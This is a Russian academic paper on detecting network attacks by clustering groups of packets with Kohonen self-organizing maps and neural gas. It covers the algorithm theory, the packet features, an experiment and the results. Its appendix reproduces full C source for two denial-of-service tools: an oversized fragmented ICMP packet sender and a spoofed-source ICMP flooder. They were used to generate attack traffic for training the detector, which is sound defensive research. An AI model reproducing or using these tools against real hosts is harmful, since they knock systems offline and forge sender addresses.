Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Основным отличием данной технологии от наиболее распространенного обучения методом обратного распространения, является то, что обучение проходит без учителя, то есть результат обучения зависит только от структуры входных данных.

Алгоритм функционирования самообучающихся карт Алгоритм SOM подразумевает использование упорядоченной структуры нейронов. Обычно используются одно и двумерные сетки. При этом каждый нейрон представляет собой n-мерный вектор-столбец своих весовых коэффициентов:

,

где n определяется размерностью исходного пространства (размерностью входных векторов). Применение одно и двумерных сеток связано с тем, что возникают проблемы при отображении пространственных структур большей размерности.

Обычно нейроны располагаются в узлах двумерной сетки с прямоугольными или шестиугольными ячейками. При этом, нейроны также взаимодействуют друг с другом. Величина этого взаимодействия определяется расстоянием между нейронами на карте. На рисунке даны примеры расстояний для шестиугольной и четырехугольной сеток.

При этом легко заметить, что для шестиугольной сетки расстояние между нейронами больше совпадает с евклидовым расстоянием, чем для четырехугольной сетки. Количество нейронов в сетке определяет степень детализации результата работы алгоритма, и, в конечном счете, от этого зависит точность обобщающей способности карты.

Рис.4 - Расстояние между нейронами на шестиугольной (а) и четырехугольной (б) сетках

Перед началом обучения карты необходимо проинициализировать весовые коэффициенты нейронов. Удачно выбранный способ инициализации может существенно ускорить обучение, и привести к получению более качественных результатов. Существуют два основных способа инициирования начальных весов:

· Инициализация случайными значениями - всем весам даются малые случайные величины.

· Инициализация примерами - всем весам в качестве начальных значений задаются значения случайно выбранных примеров из обучающей выборки.

Обучение состоит из последовательности коррекций векторов, представляющих собой нейроны. На каждом шаге обучения из исходного набора данным случайно выбирается один из векторов (обозначим его х), а затем производится поиск наиболее схожего с ним вектора коэффициентов нейронов. При этом выбирается нейрон-победитель, который наиболее схожий с вектором входов. Под «схожестью» в данной задаче понимается некоторая метрика, заданная в пространстве входных векторов. В качестве метрики обычно используется расстояние в евклидовом пространстве. Узел нейрона-победителя для входного вектора после обучения нейросети называется «наиболее подходящим узлом» (Best Matching Unit - BMU).

Таким образом, если обозначить нейрон-победитель номером c, то:

,

После того, как найден нейрон-победитель, производится корректировка весов нейросети. При этом вектор, описывающий нейрон-победитель и вектора, описывающие его соседей в сетке, перемещаются в направлении входного вектора. Это проиллюстрировано на рисунке для двумерного вектора.

Рис.5 - Подстройка весов нейрона победителя и его соседей

При этом для модификации весовых коэффициентов используется формула:

,

где t обозначает номер эпохи (номер итерации обучения).

Функция h(t) называется функцией соседства нейронов. Эта функция представляет собой невозрастающую функцию от времени и расстояния между нейроном-победителем и соседними нейронами в сетке. Эта функция разбивается на две части: собственно функцию расстояния и функции скорости обучения от времени:

,

где r - координаты нейрона в сетке.

Обычно применяется одна из двух функций от расстояния: простая константа:

,

или Гауссова функция:

,

При этом является убывающей функцией от времени. Эту величину называют радиусом обучения. Он выбирается достаточно большим на начальном этапе обучения и постепенно уменьшается так, что в конечном итоге обучается один нейрон-победитель. Наиболее часто используется функция, линейно убывающая от времени.

Функция скорости обучения также представляет собой функцию, убывающую от времени. Наиболее часто используются два варианта этой функции: линейная и обратно пропорциональная времени вида:

,

где A и B это константы. Применение этой функции приводит к тому, что все вектора из обучающей выборки вносят примерно равный вклад в результат обучения.

Обучение состоит из двух основных фаз: на первоначальном этапе выбирается достаточно большое значение скорости обучения и радиуса обучение, что позволяет расположить вектора нейронов в соответствии с распределением примеров в выборке, а затем производится точная подстройка весов, когда значения параметров скорости обучения много меньше начальных.

2.3.6 Алгоритм нейронного газа

В этом алгоритме на каждой итерации все нейроны сортируются в зависимости от их расстояния до вектора x. После сортировки нейроны размечаются в последовательности, соответствующей увеличению удалённости.

где dk=|x-wm(i)| обозначает удалённость i-того нейрона, занимающего в результате сортировки m-ю позицию в последовательности, возглавляемой нейроном-победителем, которому сопоставлена удаленность d0. Значение функции соседства для i-того нейрона G(i,x) определяется по формуле:

в которой m(i) обозначает очерёдность, полученную в результате сортировки (m(i)=1,2,3,…,n-1), а лямбда - параметр, аналогичный уровню соседства в алгоритме Кохонена, уменьшающийся с течением времени. При лямбда =0 адаптации подвергается только нейрон-победитель, и алгоритм превращается в обычный алгоритм WTA, но при уточнению подлежат веса многих нейронов, причём уровень уточнения зависит от величины G(i,x).

Для достижения хороших результатов самоорганизации процесс обучения должен начинаться с большого значения лямбда, однако с течением времени его величина уменьшается до нуля.

3. Формализация задачи

В качестве группы пакетов, выступающих в качестве обучающего примера, возьмём 10 подряд идущих поступающих на рабочую станцию пакетов. Для построения модели оценим в каждой группе следующие параметры:

1.Число пакетов поступивших от хостов “своей” ЛВС.

2.Число фрагментированных пакетов.

3.Число TCP-пакетов.

4.Число UDP-пакетов.

5.Максимальное число пакетов в группе, пришедших от одного из хостов-отправителей.

6.Принадлежность хоста, отправителя наибольшего числа пакетов. (1 - “своя” ЛВС, 0 - иначе)

7.Средняя загрузка процессора (без учёта приложений не связанных с сетью). (%)

8.Изменение загрузки процессора с времени получения первого пакета до времени получения последнего пакета (без учёта приложений не связанных с сетью).(%)

9.Средний размер пакета. (байт)

10.Число пакетов размером в интервале с 0.8*x до 1.2*x, где x - средний размер пакета.

11. Число доступных хостов.

12. Число различных хостов.

Вышеперечисленные параметры будут являться входами модели. Пользователю следует определить размер карты Кохонена, а также параметры настройки нейронной сети. Остаётся только сгенерировать различные пакеты TCP, UDP и ICMP как обычные, так и “хакерские”, и переслать их на хост, ведущий журнал входящих пакетов и их параметров. Из данного журнала пакеты объединяются в группы (10 последовательно идущих пакетов). Для каждой группы определяются выделенные интегральные критерии.

Полученные данные служат для самообучения сети.

4. Эксперимент

На локальную станцию (192.168.0.3) поступают следующие пакеты:

TCP - обычные пакеты от станций собственной ЛВС. Соединение происходит в обычном режиме. Передача файлов.

ICMP - обычные пакеты, “проверка связи”.

UDP - обычные пакеты от станций ЛВС, обмен данными между приложениями BroodWar, Blizzard Intertainment.

TCP - обычные пакеты от хостов, на принадлежащих “своей” ЛВС, передача файлов.

TCP - “хакерские” пакеты. Паническая атака.

ICMP - пакеты, являющиеся следствием широковещательного шторма.

UDP - “хакерские” пакеты (посылка широковещательного шторма).

TCP - “хакерские” пакеты, фрагментрованные и не связанные между собой (aтака на файрфолл).

Эксперимент представляет собой посылку и запоминание чередующихся обычных и “опасных” пакетов. Причём в группе, относящийся к классу зарождающейся атаки, могут присутствовать и совершенно безвредные пакеты с данными и сообщениями. Того как заранее определённое число пакетов было получено и после предобработки в группы произошло обучение модели, необходимо произвести визуализацию карты Кохонена. На карте, состоящей из квадратов, где за каждый квадрат отвечает один нейрон, производится заливка в зависимости от класса опасности. Нейроны, отвечающие за класс - тотальная атака (большое число опасных пакетов), окрашиваются в более тёмно красные цвета, нейроны, классифицирующие обычную работу станции в сети (приём-передача данных), окрашены в более нейтральные цвета.

5. Результаты работы модели

1.Стандартный алгоритм Кохонена. Карта 10*10 нейронов.

Рис.5 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена

Из-за того что многие нейроны после обучения остались мертвыми нейронная сеть имеет высокую погрешность квантования.

Самые опасные классы характеризуются следующими параметрами: небольшие по размеру пакеты, значительное количество пакетов одного типа, например только ICMP или UDP, и одного размера, во время получения этих групп пакетов происходит существенная загрузка процессора, значительная часть хостов - отправителей не доступны. Другим опасным классом является кластер с большими по размерам фрагментированными пакетами.

2.Стандартный алгоритм Кохонена с учётом соседства. Карта 10*10 нейронов.

Рис.6 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена с учётом соседства

Из-за подстройки большего числа нейронов значительная часть нейронов - “живая”. Погрешность квантования значительно ниже. Визуально прослеживается группирование опасных групп пакетов. Между двумя основными очагами опасности (в левом и правом углах карты) расположены группы пакетов соответствующие безопасной передаче.

3.Обучение карты признаков с механизмом утомления. Карта 10*10 нейронов.

Рис.7 Визуализация карты Кохонена при обучении с использованием механизма утомления.

4. Обучение карты признаков с механизмом утомления и подстройкой соседей. Карта 10*10 нейронов.

Рис.8 Визуализация карты Кохонена при обучении обучении с использованием механизма утомления и подстройкой соседей.

5 .Алгоритм нейронного газа.=

Рис.9 Визуализация карты Кохонена при обучении. Алгоритмом нейронного газа

Большой разброс по карте различных цветов объясняется самим алгоритмом обучения: здесь соседство нейронов не зависит от расположения нейронов на карте признаков.

Кроме визуализации карты важны также значения синаптических весов. Синаптический вес W0=1- поляризация нейрона.

Пример.1

Рис.10 Карта Кохонена. 5*5 нейронов.

Ниже даны значения синаптических весов для каждого из “живых” нейронов.

Табл. 1. Весовые коэффициенты нейронов карты Кохонена для примера 1.

Заключение

В результате проделанной работы создана интеллектуальная система анализа входящего трафика по классам опасности. Система построена на использовании нейронной сети конкурирующего типа. Реализовано обучение сети пятью методами самоорганизации: классический (с настройкой соседей и без неё), механизм утомления (с настройкой соседей и без неё) и алгоритм нейронного газа. В качестве обучающей выборки были использованы данные из журнала входящего трафика, содержащие как пакета передачи данных и управляющие пакеты, так и “опасные” пакеты направленные на нарушение работы хоста (атака для создания доверительного TCP - соединения, лавинное заваливание ICMP и UDP пакетами, передача крупных несвязанных фрагментированных пакетов). Входящие пакеты объединялись в группы и для каждой из групп определялись интегральные критерии на принадлежность к классу опасности. В результате самообучения нейронной сети создан классификатор входящих пакетов.

Список используемой литературы

1. Джон Чирилло. Обнаружение хакерских атак. Для профессионалов (+CD). - СПб.: Питер 2003. - 864 с.: ил.

2. И.Д. Медведовский, П.В. Семьянов, В.В. Платонов. Атака через Internet. Москва. НПО "Мир и семья-95" - 1997 3.Арсеньев С. “Извлечение данных из медицинских баз данных”

4. Круглов В.В., Борисов В.В. “Искусственные нейронные сети. Теория и практика”. -2-е изд., стереотип. - Москва: Горячая линия - Телеком, 2002 г. - 382 с.: ил.

5. Горбань А.Н., Россиев Д.А. “Нейронные сети на персональном компьютере” - Новосибирск: Наука. Сибирская издательская фирма РАН, 1996 г. -276 с.: ил.

6. Ф. Уоссерман “Нейрокомпьютерная техника: теория и практика” - Москва.: Мир, 1992 -182 стр.: ил.

7. Корнеев В.В., Гареев А.Ф., Васютин С.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” - Москва.: “Нолидж”, 2000 г., - 356с.: ил.

8. Осовский Станислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. -335 с: ил.

9. Назаров А.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизации систем. Санкт-Петергург, Наука и техника. 2003 г. -

Листинг программ

1.Атака лавинного типа (запрос на создание TCP-соедиения)

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostname\n", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown host\n", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip->ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

}

}

Листинг 2. Атака лавинного типа подменёнными ICMP - пакетами.

#include <sys/types.h>

#include <sys/socket.h>

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netinet/ip.h>

#include <netinet/in.h>

#include <netinet/ip_icmp.h>

#define IPHDRSIZE sizeof(struct iphdr)

#define ICMPHDRSIZE sizeof(struct icmphdr)

#define VIRGIN "1.1"

void version(void) {

printf("flood %s - by FA-Q\n", VIRGIN);

}

void usage(const char *progname)

{

printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n",progname);

}

unsigned char *dest_name;

unsigned char *spoof_name = NULL;

struct sockaddr_in destaddr, spoofaddr;

unsigned long dest_addr;

unsigned long spoof_addr;

unsigned pingsize, pingsleep, pingnmbr;

char flood = 0;

unsigned short in_cksum(addr, len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return(answer);

}

int resolve( const char *name, struct sockaddr_in *addr, int port )

{

struct hostent *host;

bzero((char *)addr,sizeof(struct sockaddr_in));

if (( host = gethostbyname(name) ) == NULL ) {

fprintf(stderr,"%s will not resolve\n",name);

perror(""); return -1;

}

addr->sin_family = host->h_addrtype;

memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

addr->sin_port = htons(port);

return 0;

}

unsigned long addr_to_ulong(struct sockaddr_in *addr)

{

return addr->sin_addr.s_addr;

}

int resolve_one(const char *name, unsigned long *addr, const char *desc)

{

struct sockaddr_in tempaddr;

if (resolve(name, &tempaddr,0) == -1) {

printf("%s will not resolve\n",desc);

return -1;

}

*addr = tempaddr.sin_addr.s_addr;

return 0;

}

int resolve_all(const char *dest,

const char *spoof)

{

if (resolve_one(dest,&dest_addr,"dest address")) return -1;

if (spoof!=NULL)

if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;

spoofaddr.sin_addr.s_addr = spoof_addr;

spoofaddr.sin_family = AF_INET;

destaddr.sin_addr.s_addr = dest_addr;

destaddr.sin_family = AF_INET;

}

void give_info(void)

{

printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);

}

int parse_args(int argc, char *argv[])

{

int opt;

char *endptr;

while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) {

switch(opt) {

case 'f': flood = 1; break;

case 'c': pingnmbr = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is an invalid number '%s'.\n", argv[0], optarg);

return -1;

}

break;

case 's': pingsize = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is a bad packet size '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'i': pingsleep = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is a bad wait time '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'V': version(); break;

case '?':

case ':': return -1; break;

}

}

if (optind > argc-2) {

return -1;

}

if (!pingsize)

pingsize = 28;

else

pingsize = pingsize - 36;

if (!pingsleep)

pingsleep = 100;

spoof_name = argv[optind++];

dest_name = argv[optind++];

return 0;

}

inline int icmp_echo_send(int socket,

unsigned long spoof_addr,

unsigned long t_addr,

unsigned pingsize)

{

unsigned char packet[5122];

struct iphdr *ip;

struct icmphdr *icmp;

struct iphdr *origip;

unsigned char *data;

int i;

ip = (struct iphdr *)packet;

icmp = (struct icmphdr *)(packet+IPHDRSIZE);

origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);

data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);

memset(packet, 0, 5122);

ip->version = 4;

ip->ihl = 5;

ip->ttl = 255-random()%15;

ip->protocol = IPPROTO_ICMP;

ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);

bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));

bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));

ip->check = in_cksum(packet,IPHDRSIZE);

origip->version = 4;

origip->ihl = 5;

origip->ttl = ip->ttl - random()%15;

origip->protocol = IPPROTO_TCP;

origip->tot_len = IPHDRSIZE + 30;

origip->id = random()%69;

bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

origip->check = in_cksum(origip,IPHDRSIZE);

*((unsigned int *)data) = htons(pingsize);

icmp->type = 8; /* why should this be 3? */

icmp->code = 0;

icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,

(struct sockaddr *)&destaddr,sizeof(struct sockaddr));

}

void main(int argc, char *argv[])

{

int s, i;

int floodloop;

if (parse_args(argc,argv))

{

usage(argv[0]);

return;

}

resolve_all(dest_name, spoof_name);

give_info();

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (!flood)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

}

else

{

floodloop = 0;

if ( pingnmbr && (pingnmbr > 0) )

{

printf("sending... packet limit set\n");

for (i=0;i<pingnmbr;i++)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep((pingsleep*1000));

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

}

printf("\ncomplete, %u packets sent\n", pingnmbr);

}

else {

printf("flooding, (. == 25 packets)\n");

for (i=0;i<1;i)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep(900);

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

}

}

}

}

Листинг 3. Самоорганизующаяся карта признаков.

TNeuron = class

public

IntVal : TIntArray;

ExtVal : TExtArray;

Pos : Extended;

Status : Extended;

Y : Extended;

MassWeight : Array of Extended;

constructor Init(a : PIntArray; b : PExtArray);

function FunctionActivation : Extended;

procedure GetAksonValue(a : PExtArray);

procedure Randomization;

procedure Distantion(a : PExtArray);

end;

TLayer = class

public

ExtArr : TExtArray;

Neurons : Array of TNeuron;

QNeurons : integer;

QInputs : integer;